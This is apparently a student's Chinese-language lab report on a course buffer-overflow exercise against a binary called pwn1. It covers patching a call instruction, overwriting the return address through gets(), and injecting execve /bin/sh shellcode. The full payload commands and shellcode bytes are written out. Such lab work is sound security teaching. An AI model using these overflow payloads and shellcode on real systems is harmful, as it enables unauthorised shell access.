逆向及Bof基础实践
实验前你需要知道的内容:
NOP, JNE, JE, JMP, CMP
什么是漏洞?漏洞有什么危害?
用通俗的话说,存在缺陷的代码。危害是缺陷会给程序带来被攻击的可能,比如本次实验我们将要实践的bof攻击。
一、修改程序机器指令,改变程序执行流程
下载有缓冲区漏洞的文件pwn1,反汇编。下面只保留了最核心的几行代码。
root@KaliYL:~# objdump -d pwn1 | more 0804847d <getShell>: 804847d: 55 push %ebp ... 08048491 <foo>: 8048491: 55 push %ebp ... 080484af <main>: ... 80484b5: e8 d7 ff ff ff call 8048491 <foo> 80484ba: b8 00 00 00 00 mov $0x0,%eax ...
(一)操作思路
1.可以看到内存80484b5处:call<foo>函数
2.我们通过修改补码d7ffffff,将执行<foo>函数改为我们的<getshell>函数
3.在执行call<foo>时,其补码值=函数地址-EIP,同理要执行<getshell>的补码则=<getshell>函数地址-EIP=0804847d-80484ba
4.修改为计算出的补码值c3ffffff
(二)操作
1.拷贝pwn1的备用pwn
┌──(root💀kali)-[/home/lxj4322]
└─# cp pwn1 pwn
2.打开vi编辑器
root@KaliYL:~# vi
┌──(root💀kali)-[/home/lxj4322]
└─# vi pwn
3.按ESC键.输入:
:%!xxd
将显示模式切换为16进制模式
4.查找要修改的内容
/e8 d7(此处注意有空格,否则查找不到)
5.修改d7为c3(将光标移至要修改的地方,按r键后输入要修改的内容)
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
8.运行验证,得到shell提示符,成功!
┌──(root💀kali)-[/home/lxj4322]
└─# ./pwn
9.还不放心还可以再反汇编看一下~
可以看到已经修改啦o(* ̄▽ ̄*)ブ
二、通过构造输入参数,造成BOF攻击,改变程序执行流
将主要的反汇编代码放下面备用~
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
(一)操作思路及操作
1.观察<foo>函数
8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
可以看见只给缓冲区只留了1c也就是28bit的空间
2.构造bof攻击参数
根据数据放入堆栈的规律可以之后在28字节后高4字节存放EBP,再高4字节存放返回地址,也就是EIP,如果我们能够将EIP修改为我们想要执行的函数的内存地址(getShell的内存地址,通过反汇编时可以看到,即0804847d。),那么我们就能够修改执行流
EIP:存放下一条要执行的指令的内存地址
3.gdb调试,确定存放顺序
┌──(root💀kali)-[/home/lxj4322]
└─# gdb pwn1
(gdb) r
随便输入大于36位(28位预定缓存+4位ebp+4位eip)的字符串:1111111122222222333333334444444412345678,可以知道EIP为1234
看到EIP的信息存的是4321,因此我们在存返回地址时需要反着输入
4.实施攻击
┌──(root💀kali)-[/home/lxj4322] └─# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input ┌──(root💀kali)-[/home/lxj4322] └─# (cat input; cat) | ./pwn1
可见,执行流已经修改成功,执行了我们之前预想的<getshell>函数*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。
三、 注入Shellcode并执行
(一)操作思想及操作
1.准备一段Shellcode,以下实践使用找到生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.修改安全设置。
3.构造要注入的payload。
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
经过实验亲测:anything+retaddr+nops+shellcode,这种形式的构造是有效的
┌──(root💀kali)-[/home/lxj4322] └─# perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
4.找到<foo>函数越界后的EIP地址,进行攻击
5.再开另外一个终端,用gdb来调试pwn1这个进程
先找到进程号
┌──(root💀kali)-[/home/lxj4322] └─# ps -ef | grep pwn1 root 10884 10249 0 22:20 pts/1 00:00:00 ./pwn1 root 10909 10901 0 22:21 pts/2 00:00:00 grep --color=auto pwn1
启动调试这个进程
┌──(root💀kali)-[/home/lxj4322]
└─# gdb
(gdb) attach
通过设置断点,来查看注入buf的内存地址
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
//在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
(gdb) c
Continuing.
可以得到在输入在ret结束后的运行地址
Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp 0xffffd20c 0xffffd20c
由于这是在esp的地址,那我们要的eip地址就是+4!!得到retadd为ffffd210
6.重新录入含有正确地址的攻击代码:
┌──(root💀kali)-[/home/lxj4322] └─# perl -e 'print "A" x 32;print "\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
攻击
┌──(root💀kali)-[/home/lxj4322]
└─# (cat input_shellcode;cat) | ./pwn1
7.最后验证!
成功!!o(* ̄▽ ̄*)ブ
实验收获与感想:
本次实验才算得上是第一次实验,从安装平台到开始做实验,我都有一个共同的感受就是:懂则易,不懂则难。
在基本上能够吃透原理后我明白要是只是跟着讲义步骤走,其实把整个实验跑通一天的时间完全可以实现,但是如果是看一节视频理解原理后再自己动手实验(期间肯定还是会有遗忘和出现问题需要再次看视频或者与同学交流)做实验里的一个子实验就需要一天时间,来来回回把三个实验完成满打满算就需要一周的时间。相较其他同学可能我的速度比较慢,但我在理解够将结果跑通的时候还是有那么一瞬间的成就感带来的快乐\^o^/
我认为慢的原因主要有几点:1.linux基础薄弱,很多指令看不懂需要专门花时间去学习 2.看视频时没有记笔记,导致自己动手时又忘记是怎么一回事了 3.缺乏与同学的交流,大部分的时间都是自己在琢磨,其实都不是什么很难的问题,如果直接去请教会的同学那么可能几分钟就能解答我的问题并弄清楚。
此次实验对我来说难度适中,但今后的实验肯定会越来越难,因此应该在每一次实验中总结效率低的原因,才能在挑战较高难度的题目时能够较好的完成。